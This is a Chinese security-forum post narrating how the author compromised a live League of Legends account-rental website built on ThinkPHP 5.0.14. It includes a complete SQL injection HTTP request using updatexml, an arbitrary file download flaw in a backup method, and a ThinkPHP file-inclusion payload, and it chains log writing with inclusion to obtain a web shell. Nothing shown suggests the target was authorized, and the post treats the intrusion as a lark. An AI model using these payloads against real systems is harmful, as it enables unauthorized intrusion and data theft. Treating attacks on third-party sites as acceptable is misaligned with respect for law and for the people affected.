英雄联盟租号平台getshell-网络安全论坛-网络安全-阻击者联盟

英雄联盟租号平台getshell

前言:

有一天正当我愉快的网上冲浪时,遇到了一个英雄联盟的租号平台,哼哼,租号平台?这不得让我让我好好看看。

d2b5ca33bd20250502071850

0x01 让我看看你到底是个啥:

租号的界面是这样的,可以购买各种区各种账号的卡密,然后通过卡密发货。

d2b5ca33bd20250502071904

根据网站的icon_hash特征在fofa上收到很多同模板网站,这样的话这套模板可能是开源的,

d2b5ca33bd20250502071926

首先第一步,收集必要的信息,通过路径扫描找到了后台登录 xxx/admin/login.html,通过后台的验证码初步判定是thinkphp的框架。

d2b5ca33bd20250502071940

尝试错误路径,确定是thinkphp的二开站。

d2b5ca33bd20250502072008

通过暴露出来的一些特征,成功的找到了这套系统的源码,接下来就是愉快的代码审计时间。

0x02 愉快的代码审计时间:

1.sql注入

既然是thinkphp,很有可能存在注入,可以先看看tp的版本然后找找有没有注入。base.php看到版本是5.0.14,是存在insert,update注入的。

d2b5ca33bd20250502072021

然后就是全局搜索看有没有使用了inset()或者是update()的地方并且判断传入的参数是否可控、有没有进行过滤。筛查后发现在add方法里面调用了insert()方法,也没有对data的数据进行任何过滤,可惜的是,这个点需要后台权限,并不能直接利用。不过既然既然审计到了,还是复现一下吧。

d2b5ca33bd20250502072034

直接调用这个接口,post方法传入参数。这里的参数id是随便试的。数据库的表中含有的最常见的字段就是id了,所以这里用的是id。收获一枚无法直接利用的注入。

d2b5ca33bd20250502072049

payload:

OST /manage/product/add HTTP/1.1
Host: 127.0.0.1
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: http://127.0.0.1/static/app/default/css/font-awesome.min.css
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: s39d30e70=dqgtmt998bpvf7tkp76cl8o009
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

id[0]=inc&id[1]=updatexml(1,concat(0x7,user(),0x7e),1)&id[2]=1

2.任意文件下载

继续看其他得代码,在manage的backup类里面发现了downloadbak()方法,方法中的file_name来自于用的输入并且没有进行任何过滤。当文件存在时候,直接打开文件。

d2b5ca33bd20250502072120

在该站的根目录下,放着数据库初始化文件zyu.sql,这里以读取该文件为例。

d2b5ca33bd20250502072137

收货一枚任意文件读取,同样可惜的是这个漏洞也是需要权限的,在没有权限的情况下没办法直接利用。

3.代码执行漏洞

没有审出能够直接拿权限的漏洞,由于thinkphp的版本是5.0.14试一试thinkphp报出来的代码执行漏洞能不能成。

然而我尝试直接执行命令,结果被目标站的disablefunction拦截的不要不要的。

可恶!看来没有办法直接执行命令,只能曲线救国,尝试包含目录。

payload:

/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202206/27.log

d2b5ca33bd20250502072201

真实环境居然没有写日志的地方QAQ,只能再找一找有没有能够写文件的地方,找找上传图片和下log的代码,然后顺利的找到了这个。

d2b5ca33bd20250502072212

最开始尝试写的时候发现post的内容写不进去但是有请求(第一条),这里设计知识点 Coentent-Type仅在取值为application/x-www-data-urlencoded和multipart/form-data两种情况下,PHP才会将http请求数据包中相应的数据填入全局变量$_POST。只有Content-Type为application/x-www-data-urlencoded时,php://input数据才跟$_POST数据相一致。

这里修改Content-Type以后发现完全可以写进去。

d2b5ca33bd20250502072224

这里这个点再配和thinkphp的文件包含,就可以拿到该站点的shell了。

 

原文链接:

英雄联盟租号平台getshell

 

请登录后发表评论

    没有回复内容